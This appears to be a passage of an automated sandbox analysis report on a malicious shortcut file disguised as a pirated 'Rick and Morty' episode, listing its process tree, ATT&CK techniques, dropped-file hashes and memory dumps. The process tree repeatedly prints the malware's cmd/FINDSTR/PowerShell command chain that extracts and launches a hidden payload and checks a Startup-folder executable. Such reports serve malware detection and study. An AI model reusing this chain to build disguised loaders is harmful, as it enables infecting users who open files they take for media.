        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        464⤵
        
        PID:4824
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0741" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        465⤵
        
        PID:6112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        465⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1112
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        466⤵
        
        PID:5176
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0839" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        467⤵
        
        PID:4044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        467⤵
        
        PID:464
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        468⤵
        
        PID:4540
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0940" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        469⤵
        
        PID:5000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        469⤵
        
        PID:3320
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        470⤵
        
        PID:4324
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0020" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        471⤵
        
        PID:3104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        471⤵
        
        PID:4632
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        472⤵
        
        PID:5860
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0131" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        473⤵
        
        PID:5968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4
MD5 713ad359b75fe6d947468ec1825202b9
SHA1 19dcd19f18a2ad6deb581451aad724bd44a592a4
SHA512 4df344dec422bed85b186909dc7f9c35126b3bb45e100f18fb95b4a9943ace242479adf5f0194b054d38b67032498f897a5a54b49026efee0c4797cb5a5e54e8
TLSH
T18A51DB313375B1E4895A7F47192819C023BF8355FA98AF5CB65C621ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a211f89dd754457e8873158d21bbfb2289ae2726082f3bb7e2c503b7011ae3ba
MD5 3b72a09627ad1ca210d65a1cda9d84b6
SHA1 60a0f3c197c4ecedc3d253d01b9f2aa43c617a77
SHA512 2b5f3c7d9fa3c3d798aac9cacbb32f800cadf0d2959dbe1bd4f5b0388984ecff515e8c34306b6929795a9fa53102dfd064f5cd9f34b6886b74b0a010571eb276
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

Admin.Lnk

Path C:\Users\Admin\AppData\Local\Temp\Admin.Lnk
Size 2KB
SHA256 bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726
MD5 2e85c2338a7f21e5e2b435894e198744
SHA1 f24f528c00c653f06677b1c8d5ad12c29bee409e
SHA512 41407336a42ac91a6a6ae2da22380f8c11e45a26c134ddbbb91365b659dcb645d8c00f71c90da02d2e55d6a6a2689727e9673cf09b4e994764905ede05aae7ae
TLSH
T19D41120866DC1723E773EAB68CEAE61A853B7C08F5645F0D0180414F34B6902FD25F7A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cmpo4wmz.m4g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmpo4wmz.m4g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/376-161-0x0000025B2AB00000-0x0000025B2AB0C000-memory.dmp

Download

memory/376-162-0x0000025B2C580000-0x0000025B2C62D000-memory.dmp

Download

memory/736-2-0x0000015299A80000-0x0000015299A90000-memory.dmp

Download

memory/736-15-0x00000152814F0000-0x00000152814FC000-memory.dmp

Download

memory/736-16-0x0000015299A90000-0x0000015299B3D000-memory.dmp

Download

memory/736-11-0x0000015299A80000-0x0000015299A90000-memory.dmp

Download

memory/736-1-0x0000015299A80000-0x0000015299A90000-memory.dmp

Download

memory/736-7-0x00000152FFA20000-0x00000152FFA42000-memory.dmp

Download

memory/864-408-0x00000157A7CA0000-0x00000157A7CAC000-memory.dmp

Download

memory/864-409-0x00000157A7EF0000-0x00000157A7F9D000-memory.dmp

Download

memory/1872-278-0x000001F982C00000-0x000001F982C0C000-memory.dmp

Download

memory/1872-279-0x000001F984620000-0x000001F9846CD000-memory.dmp

Download

memory/1912-148-0x0000012126CF0000-0x0000012126CFC000-memory.dmp

Download

memory/1912-149-0x000001213F450000-0x000001213F4FD000-memory.dmp

Download

memory/1952-357-0x00000119DEBB0000-0x00000119DEC5D000-memory.dmp

Download

memory/1952-356-0x00000119C4B10000-0x00000119C4B1C000-memory.dmp

Download

memory/2212-330-0x000001E3FE2F0000-0x000001E3FE2FC000-memory.dmp

Download

memory/2212-331-0x000001E3FE9C0000-0x000001E3FEA6D000-memory.dmp

Download

memory/2344-292-0x0000020C52660000-0x0000020C5270D000-memory.dmp

Download

memory/2344-291-0x0000020C386F0000-0x0000020C386FC000-memory.dmp

Download

memory/2484-57-0x000002BD1A0E0000-0x000002BD1A0EC000-memory.dmp

Download

memory/2484-58-0x000002BD1B9E0000-0x000002BD1BA8D000-memory.dmp

Download

memory/2596-240-0x00000230B85D0000-0x00000230B867D000-memory.dmp

Download

memory/2596-239-0x00000230A0070000-0x00000230A007C000-memory.dmp

Download

memory/2832-96-0x0000016691550000-0x000001669155C000-memory.dmp

Download

memory/2832-97-0x0000016691750000-0x00000166917FD000-memory.dmp

Download

memory/3176-135-0x000001A270310000-0x000001A27031C000-memory.dmp

Download

memory/3176-136-0x000001A272360000-0x000001A27240D000-memory.dmp

Download

memory/3196-396-0x00000218B22B0000-0x00000218B235D000-memory.dmp

Download

memory/3196-395-0x0000021898400000-0x000002189840C000-memory.dmp

Download

memory/3464-266-0x00000210A57F0000-0x00000210A589D000-memory.dmp

Download

memory/3464-265-0x000002108D130000-0x000002108D13C000-memory.dmp

Download

memory/3520-370-0x0000010D4EEF0000-0x0000010D4EF9D000-memory.dmp

Download

memory/3520-369-0x0000010D36690000-0x0000010D3669C000-memory.dmp

Download

memory/3612-123-0x000001E92A1F0000-0x000001E92A29D000-memory.dmp

Download

memory/3612-122-0x000001E910310000-0x000001E91031C000-memory.dmp

Download

memory/3776-382-0x0000018FDBD90000-0x0000018FDBD9C000-memory.dmp

Download

memory/3776-383-0x0000018FF4510000-0x0000018FF45BD000-memory.dmp

Download

memory/3952-17-0x0000026F24880000-0x0000026F2492D000-memory.dmp

Download

memory/3952-18-0x0000026F24BA0000-0x0000026F24BAC000-memory.dmp

Download

memory/4408-175-0x00000254DD670000-0x00000254DD71D000-memory.dmp

Download

memory/4408-174-0x00000254C37B0000-0x00000254C37BC000-memory.dmp

Download

memory/4512-109-0x00000280CC180000-0x00000280CC18C000-memory.dmp

Download

memory/4512-110-0x00000280E47D0000-0x00000280E487D000-memory.dmp

Download

memory/4660-84-0x0000026BB1250000-0x0000026BB12FD000-memory.dmp

Download

memory/4660-83-0x0000026B98B90000-0x0000026B98B9C000-memory.dmp

Download

memory/4668-31-0x000002E080060000-0x000002E08006C000-memory.dmp

Download

memory/4668-32-0x000002E098750000-0x000002E0987FD000-memory.dmp

Download

memory/4836-201-0x000001BAF1870000-0x000001BAF191D000-memory.dmp

Download

memory/4836-200-0x000001BAD7940000-0x000001BAD794C000-memory.dmp

Download

memory/4932-44-0x00000122B70F0000-0x00000122B70FC000-memory.dmp

Download

memory/4932-45-0x00000122CF760000-0x00000122CF80D000-memory.dmp

Download

memory/4972-213-0x0000017C33860000-0x0000017C3386C000-memory.dmp

Download

memory/4972-214-0x0000017C4D690000-0x0000017C4D73D000-memory.dmp

Download

memory/5228-227-0x000001B57F8E0000-0x000001B57F98D000-memory.dmp

Download

memory/5228-226-0x000001B57F180000-0x000001B57F18C000-memory.dmp

Download

memory/5252-71-0x00000285F8480000-0x00000285F852D000-memory.dmp

Download

memory/5252-70-0x00000285F7DC0000-0x00000285F7DCC000-memory.dmp

Download

memory/5256-343-0x00000253E5540000-0x00000253E554C000-memory.dmp

Download

memory/5256-344-0x00000253E5650000-0x00000253E56FD000-memory.dmp

Download

memory/5384-304-0x000001FA085D0000-0x000001FA085DC000-memory.dmp

Download

memory/5384-305-0x000001FA20CA0000-0x000001FA20D4D000-memory.dmp

Download

memory/5932-318-0x000001F931EF0000-0x000001F931F9D000-memory.dmp

Download

memory/5932-317-0x000001F918010000-0x000001F91801C000-memory.dmp

Download

memory/6008-187-0x0000018F48FB0000-0x0000018F48FBC000-memory.dmp

Download

memory/6008-188-0x0000018F62CE0000-0x0000018F62D8D000-memory.dmp

Download

memory/6132-253-0x000002BEE0CC0000-0x000002BEE0D6D000-memory.dmp

Download

memory/6132-252-0x000002BEE0B00000-0x000002BEE0B0C000-memory.dmp

Download